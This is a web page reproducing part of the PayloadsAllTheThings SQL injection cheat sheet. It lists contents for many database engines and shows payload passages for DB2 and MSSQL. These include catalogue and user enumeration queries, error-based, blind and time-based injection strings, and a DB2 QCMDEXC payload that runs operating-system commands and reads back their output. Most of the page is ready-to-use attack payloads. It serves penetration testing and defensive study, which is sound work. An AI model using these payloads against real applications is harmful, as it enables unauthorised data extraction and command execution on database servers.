Skip to content

Payload topic

SQL Injection

SQL Injection (SQLi) is a type of security vulnerability that allows an attacker to interfere with the queries that an application makes to its database. SQL Injection is one of the most common and severe types of web application vulnerabilities, enabling attackers to execute arbitrary SQL code on…

Passages
186
Bounty reports
of this class
186 passages
Contents
  1. SQL Injection
  2. Entry Point Detection
  3. DBMS Identification Keyword Based
  4. DBMS Identification Error Based
  5. Authentication Bypass
  6. Raw MD5 and SHA1
  7. Hashed Passwords
  8. UNION Based Injection
  9. Error Based Injection
  10. Blind Injection
  11. Boolean Based Injection
  12. Blind Error Based Injection
  13. Time Based Injection
  14. Out of Band (OAST)
  15. Stacked Based Injection
  16. Polyglot Injection
  17. Routed Injection
  18. Second Order SQL Injection
  19. PDO Prepared Statements
  20. Generic WAF Bypass
  21. No Space Allowed
  22. Alternative Whitespace Characters
  23. Bypassing with Comments and Parentheses
  24. No Comma Allowed
  25. No Equal Allowed
  26. Case Modification
  27. BigQuery Injection: Google BigQuery SQL Injection
  28. BigQuery Injection: Detection
  29. BigQuery Injection: BigQuery Comment
  30. BigQuery Injection: BigQuery Union Based
  31. BigQuery Injection: BigQuery Error Based
  32. BigQuery Injection: BigQuery Boolean Based
  33. BigQuery Injection: BigQuery Time Based
  34. Cassandra Injection: Cassandra Injection
  35. Cassandra Injection: CQL Injection Limitations
  36. Cassandra Injection: Cassandra Comment
  37. Cassandra Injection: Example #1
  38. Cassandra Injection: Example #2
  39. DB2 Injection: DB2 Injection
  40. DB2 Injection: DB2 Comments
  41. DB2 Injection: DB2 Default Databases
  42. DB2 Injection: DB2 Enumeration
  43. DB2 Injection: DB2 Methodology
  44. DB2 Injection: DB2 Error Based
  45. DB2 Injection: DB2 Blind Based
  46. DB2 Injection: DB2 Time Based
  47. DB2 Injection: DB2 Command Execution
  48. DB2 Injection: Avoiding Quotes
  49. DB2 Injection: DB2 Accounts and Privileges
  50. MSSQL Injection: MSSQL Injection
  51. MSSQL Injection: MSSQL Default Databases
  52. MSSQL Injection: MSSQL Comments
  53. MSSQL Injection: MSSQL Enumeration
  54. MSSQL Injection: MSSQL List Databases
  55. MSSQL Injection: MSSQL List Tables
  56. MSSQL Injection: MSSQL List Columns
  57. MSSQL Injection: MSSQL Union Based
  58. MSSQL Injection: MSSQL Error Based
  59. MSSQL Injection: MSSQL Blind Based
  60. MSSQL Injection: MSSQL Blind With Substring Equivalent
  61. MSSQL Injection: MSSQL Time Based
  62. MSSQL Injection: MSSQL Stacked Query
  63. MSSQL Injection: MSSQL Read File
  64. MSSQL Injection: MSSQL Write File
  65. MSSQL Injection: XPCMDSHELL
  66. MSSQL Injection: Python Script
  67. MSSQL Injection: MSSQL DNS exfiltration
  68. MSSQL Injection: MSSQL UNC Path
  69. MSSQL Injection: MSSQL Trusted Links
  70. MSSQL Injection: MSSQL List Permissions
  71. MSSQL Injection: MSSQL Make User DBA
  72. MSSQL Injection: MSSQL Database Credentials
  73. MSSQL Injection: MSSQL OPSEC
  74. MySQL Injection: MySQL Injection
  75. MySQL Injection: MYSQL Default Databases
  76. MySQL Injection: MYSQL Comments
  77. MySQL Injection: MYSQL Testing Injection
  78. MySQL Injection: Detect Columns Number
  79. MySQL Injection: Iterative NULL Method
  80. MySQL Injection: ORDER BY Method
  81. MySQL Injection: LIMIT INTO Method
  82. MySQL Injection: Extract Database With InformationSchema
  83. MySQL Injection: Extract Columns Name Without InformationSchema
  84. MySQL Injection: Extract Data Without Columns Name
  85. MySQL Injection: MYSQL Error Based
  86. MySQL Injection: MYSQL Error Based - Basic
  87. MySQL Injection: MYSQL Error Based - UpdateXML Function
  88. MySQL Injection: MYSQL Error Based - Extractvalue Function
  89. MySQL Injection: MYSQL Error Based - NAMECONST function (only for constants)
  90. MySQL Injection: MYSQL Blind With Substring Equivalent
  91. MySQL Injection: MYSQL Blind Using a Conditional Statement
  92. MySQL Injection: MYSQL Blind With MAKESET
  93. MySQL Injection: MYSQL Blind With LIKE
  94. MySQL Injection: MySQL Blind with REGEXP
  95. MySQL Injection: MYSQL Time Based
  96. MySQL Injection: Using SLEEP in a Subselect
  97. MySQL Injection: Using Conditional Statements
  98. MySQL Injection: MYSQL DIOS - Dump in One Shot
  99. MySQL Injection: MYSQL Current Queries
  100. MySQL Injection: MYSQL Read Content of a File
  101. MySQL Injection: WEBSHELL - OUTFILE Method
  102. MySQL Injection: WEBSHELL - DUMPFILE Method
  103. MySQL Injection: COMMAND - UDF Library
  104. MySQL Injection: MYSQL INSERT
  105. MySQL Injection: MYSQL Truncation
  106. MySQL Injection: MYSQL Out of Band
  107. MySQL Injection: DNS Exfiltration
  108. MySQL Injection: UNC Path - NTLM Hash Stealing
  109. MySQL Injection: Alternative to Information Schema
  110. MySQL Injection: Alternative to VERSION
  111. MySQL Injection: Alternative to GROUPCONCAT
  112. MySQL Injection: Scientific Notation
  113. MySQL Injection: Conditional Comments
  114. MySQL Injection: Wide Byte Injection (GBK)
  115. OracleSQL Injection: Oracle SQL Injection
  116. OracleSQL Injection: Oracle SQL Default Databases
  117. OracleSQL Injection: Oracle SQL Comments
  118. OracleSQL Injection: Oracle SQL Enumeration
  119. OracleSQL Injection: Oracle SQL Database Credentials
  120. OracleSQL Injection: Oracle SQL List Databases
  121. OracleSQL Injection: Oracle SQL List Tables
  122. OracleSQL Injection: Oracle SQL List Columns
  123. OracleSQL Injection: Oracle SQL Error Based
  124. OracleSQL Injection: Oracle SQL Blind
  125. OracleSQL Injection: Oracle Blind With Substring Equivalent
  126. OracleSQL Injection: Oracle SQL Time Based
  127. OracleSQL Injection: Oracle SQL Out of Band
  128. OracleSQL Injection: Oracle SQL Command Execution
  129. OracleSQL Injection: Oracle Java Execution
  130. OracleSQL Injection: Oracle Java Class
  131. OracleSQL Injection: Package oscommand
  132. OracleSQL Injection: DBMSSCHEDULER Jobs
  133. OracleSQL Injection: OracleSQL File Manipulation
  134. OracleSQL Injection: OracleSQL Read File
  135. OracleSQL Injection: OracleSQL Write File
  136. PostgreSQL Injection: PostgreSQL Injection
  137. PostgreSQL Injection: PostgreSQL Comments
  138. PostgreSQL Injection: PostgreSQL Enumeration
  139. PostgreSQL Injection: PostgreSQL Methodology
  140. PostgreSQL Injection: PostgreSQL Error Based
  141. PostgreSQL Injection: PostgreSQL XML Helpers
  142. PostgreSQL Injection: PostgreSQL Blind With Substring Equivalent
  143. PostgreSQL Injection: Identify Time Based
  144. PostgreSQL Injection: Database Dump Time Based
  145. PostgreSQL Injection: Table Dump Time Based
  146. PostgreSQL Injection: Columns Dump Time Based
  147. PostgreSQL Injection: PostgreSQL Out of Band
  148. PostgreSQL Injection: PostgreSQL Stacked Query
  149. PostgreSQL Injection: PostgreSQL File Read
  150. PostgreSQL Injection: PostgreSQL File Write
  151. PostgreSQL Injection: Using COPY TO/FROM PROGRAM
  152. PostgreSQL Injection: Using libc.so.6
  153. PostgreSQL Injection: Alternative to Quotes
  154. PostgreSQL Injection: PostgreSQL List Privileges
  155. PostgreSQL Injection: PostgreSQL Superuser Role
  156. SQLite Injection: SQLite Injection
  157. SQLite Injection: SQLite Comments
  158. SQLite Injection: SQLite Enumeration
  159. SQLite Injection: SQLite String Methodology
  160. SQLite Injection: SQLite Blind Methodology
  161. SQLite Injection: SQLite Blind With Substring Equivalent
  162. SQLite Injection: SQlite Error Based
  163. SQLite Injection: SQlite Time Based
  164. SQLite Injection: Attach Database
  165. SQLite Injection: Loadextension
  166. SQLite Injection: SQLite Read File
  167. SQLite Injection: SQLite Write File
  168. SQLmap: SQLmap
  169. SQLmap: Basic Arguments For SQLmap
  170. SQLmap: Load A Request File
  171. SQLmap: Custom Injection Point
  172. SQLmap: Second Order Injection
  173. SQLmap: Getting A Shell
  174. SQLmap: Crawl And Auto-Exploit
  175. SQLmap: Proxy Configuration For SQLmap
  176. SQLmap: Injection Tampering
  177. SQLmap: Suffix And Prefix
  178. SQLmap: Default Tamper Scripts
  179. SQLmap: Custom Tamper Scripts
  180. SQLmap: Custom SQL Payload
  181. SQLmap: Evaluate Python Code
  182. SQLmap: Preprocess And Postprocess Scripts
  183. SQLmap: Preprocessing Script (preprocess.py)
  184. SQLmap: Postprocessing Script (postprocess.py)
  185. SQLmap: Reduce Requests Number
  186. SQLmap: SQLmap Without SQL Injection

DB2 Injection: DB2 Default Databases

SourceOn the Atlas

| Name | Description | | --------- | ------------------------------------------------------------------------------------------------- | | SYSIBM | Core system catalog tables storing metadata for database objects. | | SYSCAT | User-friendly views for accessing metadata in the SYSIBM tables. | | SYSSTAT | Statistics tables used by the DB2 optimizer for query optimization. | | SYSPUBLIC | Metadata about objects available to all users (granted to PUBLIC). | | SYSIBMADM | Administrative views for monitoring and managing the database system. | | SYSTOOLs | Tools, utilities, and auxiliary objects provided for database administration and troubleshooting. |

DB2 Injection: DB2 Enumeration

SourceOn the Atlas

| Description | SQL Query | | ---------------- | ---------------------------------------------------------------------------------------------------- | | DBMS version | `select versionnumber, version_timestamp from sysibm.sysversions;` | | DBMS version | `select service_level from table(sysproc.env_get_inst_info()) as instanceinfo` | | DBMS version | `select getvariable('sysibm.version') from sysibm.sysdummy1` | | DBMS version | `select prod_release,installed_prod_fullname from table(sysproc.env_get_prod_info()) as productinfo` | | DBMS version | `select service_level,bld_level from sysibmadm.env_inst_info` | | Current user | `select user from sysibm.sysdummy1` | | Current user | `select session_user from sysibm.sysdummy1` | | Current user | `select system_user from sysibm.sysdummy1` | | Current database | `select current server from sysibm.sysdummy1` | | OS info | `select os_name,os_version,os_release,host_name from sysibmadm.env_sys_info` |

DB2 Injection: DB2 Methodology

SourceOn the Atlas

| Description | SQL Query | | -------------- | ------------------------------------------------------------ | | List databases | `SELECT distinct(table_catalog) FROM sysibm.tables` | | List databases | `SELECT schemaname FROM syscat.schemata;` | | List columns | `SELECT name, tbname, coltype FROM sysibm.syscolumns` | | List tables | `SELECT table_name FROM sysibm.tables` | | List tables | `SELECT name FROM sysibm.systables` | | List tables | `SELECT tbname FROM sysibm.syscolumns WHERE name='username'` |

DB2 Injection: DB2 Error Based

SourceOn the Atlas
-- Returns all in one xml-formatted string
select xmlagg(xmlrow(table_schema)) from sysibm.tables

-- Same but without repeated elements
select xmlagg(xmlrow(table_schema)) from (select distinct(table_schema) from sysibm.tables)

-- Returns all in one xml-formatted string.
-- May need CAST(xml2clob(… AS varchar(500)) to display the result.
select xml2clob(xmelement(name t, table_schema)) from sysibm.tables

DB2 Injection: DB2 Blind Based

SourceOn the Atlas

| Description | SQL Query | | --------------- | ------------------------------------------------------------------------------------------------------------------------------------- | | Substring | `select substr('abc',2,1) FROM sysibm.sysdummy1` | | ASCII value | `select chr(65) from sysibm.sysdummy1` | | CHAR to ASCII | `select ascii('A') from sysibm.sysdummy1` | | Select Nth Row | `select name from (select * from sysibm.systables order by name asc fetch first N rows only) order by name desc fetch first row only` | | Bitwise AND | `select bitand(1,0) from sysibm.sysdummy1` | | Bitwise AND NOT | `select bitandnot(1,0) from sysibm.sysdummy1` | | Bitwise OR | `select bitor(1,0) from sysibm.sysdummy1` | | Bitwise XOR | `select bitxor(1,0) from sysibm.sysdummy1` | | Bitwise NOT | `select bitnot(1,0) from sysibm.sysdummy1` |

DB2 Injection: DB2 Time Based

SourceOn the Atlas

Heavy queries, if user starts with ascii 68 ('D'), the heavy query will be executed, delaying the response.

' and (SELECT count(*) from sysibm.columns t1, sysibm.columns t2, sysibm.columns t3)>0 and (select ascii(substr(user,1,1)) from sysibm.sysdummy1)=68

DB2 Injection: DB2 Command Execution

SourceOn the Atlas

> The QSYS2.QCMDEXC() procedure and scalar function can be used to execute IBM i CL commands. Using the `QSYS2.QCMDEXC()` on IBM i (previously named AS-400), it is possibile to achieve command execution.

'||QCMDEXC('QSH CMD(''system dspusrprf PROFILE'')')

In many cases, the command output is not returned directly. The following approach works in two steps: first, execute the command and redirect both standard output and standard error to `/tmp/qsh_output.txt` then, read the contents of that file using `QSYS2.IFS_READ_UTF8`.

QSYS2.QCMDEXC('QSH CMD(''system dspusrprf PROFILE > /tmp/qsh_output.txt 2>&1'')')
SELECT LINE FROM TABLE(QSYS2.IFS_READ_UTF8('/tmp/qsh_output.txt',2147483647,'NONE'))

DB2 Injection: Avoiding Quotes

SourceOn the Atlas
SELECT chr(65)||chr(68)||chr(82)||chr(73) FROM sysibm.sysdummy1

DB2 Injection: DB2 Accounts and Privileges

SourceOn the Atlas

| Description | SQL Query | | -------------------- | -------------------------------------------------------------------------------- | | List users | `select distinct(grantee) from sysibm.systabauth` | | List users | `select distinct(definer) from syscat.schemata` | | List users | `select distinct(authid) from sysibmadm.privileges` | | List users | `select grantee from syscat.dbauth` | | List privileges | `select * from syscat.tabauth` | | List privileges | `select * from SYSIBM.SYSUSERAUTH — List db2 system privilegies` | | List DBA accounts | `select distinct(grantee) from sysibm.systabauth where CONTROLAUTH='Y'` | | List DBA accounts | `select name from SYSIBM.SYSUSERAUTH where SYSADMAUTH = 'Y' or SYSADMAUTH = 'G'` | | Location of DB files | `select * from sysibmadm.reg_variables where reg_var_name='DB2PATH'` |

MSSQL Injection: MSSQL Injection

SourceOn the Atlas

> MSSQL Injection is a type of security vulnerability that can occur when an attacker can insert or "inject" malicious SQL code into a query executed by a Microsoft SQL Server (MSSQL) database. This typically happens when user inputs are directly included in SQL queries without proper sanitization or parameterization. SQL Injection can lead to serious consequences such as unauthorized data access, data manipulation, and even gaining control over the database server.

MSSQL Injection: MSSQL Default Databases

SourceOn the Atlas

| Name | Description | | ------------------ | ------------------------------------ | | pubs | Not available on MSSQL 2005 | | model | Available in all versions | | msdb | Available in all versions | | tempdb | Available in all versions | | northwind | Available in all versions | | information_schema | Available from MSSQL 2000 and higher |

MSSQL Injection: MSSQL Comments

SourceOn the Atlas

| Type | Description | | --------------------- | --------------- | | `/* MSSQL Comment */` | C-style comment | | `--` | SQL comment | | `;%00` | Null byte |

MSSQL Injection: MSSQL Enumeration

SourceOn the Atlas

| Description | SQL Query | | --------------- | ----------------------------------------- | | DBMS version | `SELECT @@version` | | Database name | `SELECT DB_NAME()` | | Database schema | `SELECT SCHEMA_NAME()` | | Hostname | `SELECT HOST_NAME()` | | Hostname | `SELECT @@hostname` | | Hostname | `SELECT @@SERVERNAME` | | Hostname | `SELECT SERVERPROPERTY('productversion')` | | Hostname | `SELECT SERVERPROPERTY('productlevel')` | | Hostname | `SELECT SERVERPROPERTY('edition')` | | User | `SELECT CURRENT_USER` | | User | `SELECT user_name();` | | User | `SELECT system_user;` | | User | `SELECT user;` |

MSSQL Injection: MSSQL List Databases

SourceOn the Atlas
SELECT name FROM master..sysdatabases;
SELECT name FROM master.sys.databases;

-- for N = 0, 1, 2, …
SELECT DB_NAME(N); 

-- Change delimiter value such as ', ' to anything else you want => master, tempdb, model, msdb 
-- (Only works in MSSQL 2017+)
SELECT STRING_AGG(name, ', ') FROM master..sysdatabases;

MSSQL Injection: MSSQL List Tables

SourceOn the Atlas
-- use xtype = 'V' for views
SELECT name FROM master..sysobjects WHERE xtype = 'U';
SELECT name FROM <DBNAME>..sysobjects WHERE xtype='U'
SELECT name FROM someotherdb..sysobjects WHERE xtype = 'U';

-- list column names and types for master..sometable
SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name='sometable';

SELECT table_catalog, table_name FROM information_schema.columns
SELECT table_name FROM information_schema.tables WHERE table_catalog='<DBNAME>'

-- Change delimiter value such as ', ' to anything else you want => trace_xe_action_map, trace_xe_event_map, spt_fallback_db, spt_fallback_dev, spt_fallback_usg, spt_monitor, MSreplication_options  (Only works in MSSQL 2017+)
SELECT STRING_AGG(name, ', ') FROM master..sysobjects WHERE xtype = 'U';

MSSQL Injection: MSSQL List Columns

SourceOn the Atlas
-- for the current DB only
SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'mytable');

-- list column names and types for master..sometable
SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name='sometable'; 

SELECT table_catalog, column_name FROM information_schema.columns

SELECT COL_NAME(OBJECT_ID('<DBNAME>.<TABLE_NAME>'), <INDEX>)

MSSQL Injection: MSSQL Union Based

SourceOn the Atlas

* Extract databases names ```sql $ SELECT name FROM master..sysdatabases [*] Injection [*] msdb [*] tempdb ``` * Extract tables from Injection database ```sql $ SELECT name FROM Injection..sysobjects WHERE xtype = 'U' [*] Profiles [*] Roles [*] Users ``` * Extract columns for the table Users ```sql $ SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'Users') [*] UserId [*] UserName ``` * Finally extract the data ```sql SELECT UserId, UserName from Users ```

MSSQL Injection: MSSQL Error Based

SourceOn the Atlas

| Name | Payload | | ------- | ---------------------------------------------------------------- | | CONVERT | `AND 1337=CONVERT(INT,(SELECT '~'+(SELECT @@version)+'~')) -- -` | | IN | `AND 1337 IN (SELECT ('~'+(SELECT @@version)+'~')) -- -` | | EQUAL | `AND 1337=CONCAT('~',(SELECT @@version),'~') -- -` | | CAST | `CAST((SELECT @@version) AS INT)` | * For integer inputs ```sql convert(int,@@version) cast((SELECT @@version) as int) ``` * For string inputs ```sql ' + convert(int,@@version) + ' ' + cast((SELECT @@version) as int) + ' ```

MSSQL Injection: MSSQL Blind Based

SourceOn the Atlas
AND LEN(SELECT TOP 1 username FROM tblusers)=5 ; -- -
SELECT @@version WHERE @@version LIKE '%12.0.2000.8%'
WITH data AS (SELECT (ROW_NUMBER() OVER (ORDER BY message)) as row,* FROM log_table)
SELECT message FROM data WHERE row = 1 and message like 't%'

MSSQL Injection: MSSQL Blind With Substring Equivalent

SourceOn the Atlas

| Function | Example | | ----------- | ---------------------------------------- | | `SUBSTRING` | `SUBSTRING('foobar', <START>, <LENGTH>)` | Examples:

AND ASCII(SUBSTRING(SELECT TOP 1 username FROM tblusers),1,1)=97
AND UNICODE(SUBSTRING((SELECT 'A'),1,1))>64-- 
AND SELECT SUBSTRING(table_name,1,1) FROM information_schema.tables > 'A'
AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>90

For testing systems you own or are authorised to test, and for defending them. Nothing here is run by this page. From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky. The repository. Data as of 2026-11-14.

Updated AboutDevelopersSign in